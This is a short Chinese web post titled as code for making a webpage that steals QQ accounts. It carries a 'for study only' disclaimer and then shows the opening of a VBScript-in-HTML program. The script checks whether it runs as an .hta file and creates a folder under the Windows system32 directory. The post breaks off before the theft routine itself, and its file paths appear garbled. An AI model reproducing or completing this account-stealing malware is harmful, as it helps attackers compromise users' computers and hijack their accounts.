自己制作盗QQ号网页代码
本文章只供学习使用，请勿做其他用途！
＜html＞
＜script language=vbs＞
'on error resume next
rem czy a scit boy 2002.3.31
aosoao
sub cal()
myname=document.location
If Right(myname, 3) = "hta" Then
call svbs()
end if
end sub
sub svbs()
'on error resume next
set fso = createobject("Scripting.FileSystemObject")
If not (fso.FolderExists("c:windowssystem32qq")) Then
fso.CreateFolder("c:windowssystem32qq")
call sv()
else
settimeout "aa()",1
end if
end sub
sub sv()
...[ 查看全文 ]
2016-02-21
标签:
